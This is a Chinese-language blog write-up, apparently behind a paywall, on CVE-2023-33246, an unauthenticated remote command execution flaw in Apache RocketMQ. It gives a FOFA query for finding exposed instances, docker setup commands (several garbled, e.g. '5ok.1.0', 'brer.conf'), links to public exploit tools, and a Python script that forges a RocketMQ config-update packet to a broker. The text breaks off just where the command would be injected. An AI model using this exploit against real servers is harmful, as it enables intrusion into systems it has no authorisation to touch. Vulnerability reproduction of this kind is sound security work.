
目录
漏洞概述
Apache RocketMQ是一个分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer(9876端口)、Broker(10911端口)、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果
影响范围:
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
漏洞编号:CVE-2023-33246
官网描述如下:
也即是多个组件暴露在外网且缺乏权限验证
这次的漏洞实际上是两个洞,但是只收录了一个,RCE的过程中,用到了前面的一部分
环境搭建
FOFA:title="RocketMQ"
docker环境
拉取docker镜像
docker pull apache/rocketmq:5.1.0 docker pull apacherocketmq/rocketmq-console:2.0.0
启动namesrv
docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:5.1.0 sh mqnamesrv /bin/bash
启动broker
docker run -dit -p 10909:10909 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:5ok.1.0 sh mqbroker -c /home/rocketmq/rocketmq-5.1.0/conf/brer.conf
启动console
docker run -dit --name mqconsole -p 8089:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.
访问8089看到控制台,arm下这个docker有一些问题,这里就直接用二进制环境复现
bin环境
./mqbroker ./mqnamesrv ./mqcontroller
其实可以只用broker组件来复现,任意文件写入是三个组件均存在的
漏洞复现
采用工具https://github.com/Le1a/CVE-2023-33246(该工具可以还原配置,不然要重复执行)
或者https://github.com/Serendipity-Lucky/CVE-2023-33246

两个工具用法稍微有一点不一样,具体用法看markdown文档,交互的过程用的自带的协议
python实现
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.111.129',10911))
# data
json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=1'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
改一下rocketmqHo
Apache RocketMQ远程命令执行漏洞详解

Apache RocketMQ 5.1.0及以下版本存在远程命令执行风险,攻击者可利用NameServer、Broker和Controller组件的配置更新功能执行命令。漏洞编号CVE-2023-33246,影响版本包括4.9.5。通过工具如CVE-2023-33246复现漏洞,涉及任意文件写入和任意代码执行。补丁已发布,但需注意环境安全。
最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



